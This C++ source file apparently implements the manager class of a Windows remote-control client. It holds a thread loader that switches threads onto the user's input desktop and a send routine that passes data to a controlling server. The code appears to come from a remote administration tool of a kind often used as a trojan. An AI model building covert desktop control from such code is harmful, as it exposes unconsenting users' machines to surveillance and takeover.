// Manager.cpp: implementation of the CManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "Manager.h" #include "IOCPClient.h" #include typedef struct { unsigned(__stdcall* start_address)(void*); void* arglist; bool bInteractive; // 是否支持交互桌面 HANDLE hEventTransferArg; } THREAD_ARGLIST, * LPTHREAD_ARGLIST; BOOL SelectDesktop(TCHAR* name); unsigned int __stdcall ThreadLoader(LPVOID param) { unsigned int nRet = 0; try { THREAD_ARGLIST arg; memcpy(&arg, param, sizeof(arg)); SetEvent(arg.hEventTransferArg); // 与卓面交互 if (arg.bInteractive) SelectDesktop(NULL); nRet = arg.start_address(arg.arglist); } catch (...) { }; return nRet; } HANDLE MyCreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes, // SD SIZE_T dwStackSize, // initial stack size LPTHREAD_START_ROUTINE lpStartAddress, // thread function LPVOID lpParameter, // thread argument DWORD dwCreationFlags, // creation option LPDWORD lpThreadId, bool bInteractive) { HANDLE hThread = INVALID_HANDLE_VALUE; THREAD_ARGLIST arg; arg.start_address = (unsigned(__stdcall*)(void*))lpStartAddress; arg.arglist = (void*)lpParameter; arg.bInteractive = bInteractive; arg.hEventTransferArg = CreateEvent(NULL, false, false, NULL); hThread = (HANDLE)_beginthreadex((void*)lpThreadAttributes, dwStackSize, ThreadLoader, &arg, dwCreationFlags, (unsigned*)lpThreadId); WaitForSingleObject(arg.hEventTransferArg, INFINITE); CloseHandle(arg.hEventTransferArg); return hThread; } BOOL SelectHDESK(HDESK new_desktop) { HDESK old_desktop = GetThreadDesktop(GetCurrentThreadId()); DWORD dummy; char new_name[256]; if (!GetUserObjectInformation(new_desktop, UOI_NAME, &new_name, 256, &dummy)) { return FALSE; } // Switch the desktop if (!SetThreadDesktop(new_desktop)) { return FALSE; } // Switched successfully - destroy the old desktop CloseDesktop(old_desktop); return TRUE; } // - SelectDesktop(char *) // Switches the current thread into a different desktop, by name // Calling with a valid desktop name will place the thread in that desktop. // Calling with a NULL name will place the thread in the current input desktop. BOOL SelectDesktop(TCHAR* name) { HDESK desktop; if (name != NULL) { // Attempt to open the named desktop desktop = OpenDesktop(name, 0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); } else { // No, so open the input desktop desktop = OpenInputDesktop(0, FALSE, DESKTOP_CREATEMENU | DESKTOP_CREATEWINDOW | DESKTOP_ENUMERATE | DESKTOP_HOOKCONTROL | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS | DESKTOP_SWITCHDESKTOP | GENERIC_WRITE); } // Did we succeed? if (desktop == NULL) { return FALSE; } // Switch to the new desktop if (!SelectHDESK(desktop)) { // Failed to enter the new desktop, so free it! CloseDesktop(desktop); return FALSE; } // We successfully switched desktops! return TRUE; } ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CManager::CManager(IOCPClient* ClientObject) { m_bIsDead = false; m_ClientObject = ClientObject; m_ClientObject->setManagerCallBack(this); m_hEventDlgOpen = CreateEvent(NULL,TRUE,FALSE,NULL); } CManager::~CManager() { if (m_hEventDlgOpen!=NULL) { CloseHandle(m_hEventDlgOpen); m_hEventDlgOpen = NULL; } } int CManager::Send(LPBYTE lpData, UINT nSize) { int nRet = 0; try { nRet = m_ClientObject->OnServerSending((char*)lpData, nSize); }catch(...){ Mprintf("[ERROR] CManager::Send catch an error \n"); }; return nRet; } VOID CManager::WaitForDialogOpen() { WaitForSingleObject(m_hEventDlgOpen, INFINITE); //必须的Sleep,因为远程窗口从InitDialog中发送COMMAND_NEXT到显示还要一段时间 Sleep(150); } VOID CManager::NotifyDialogIsOpen() { SetEvent(m_hEventDlgOpen); }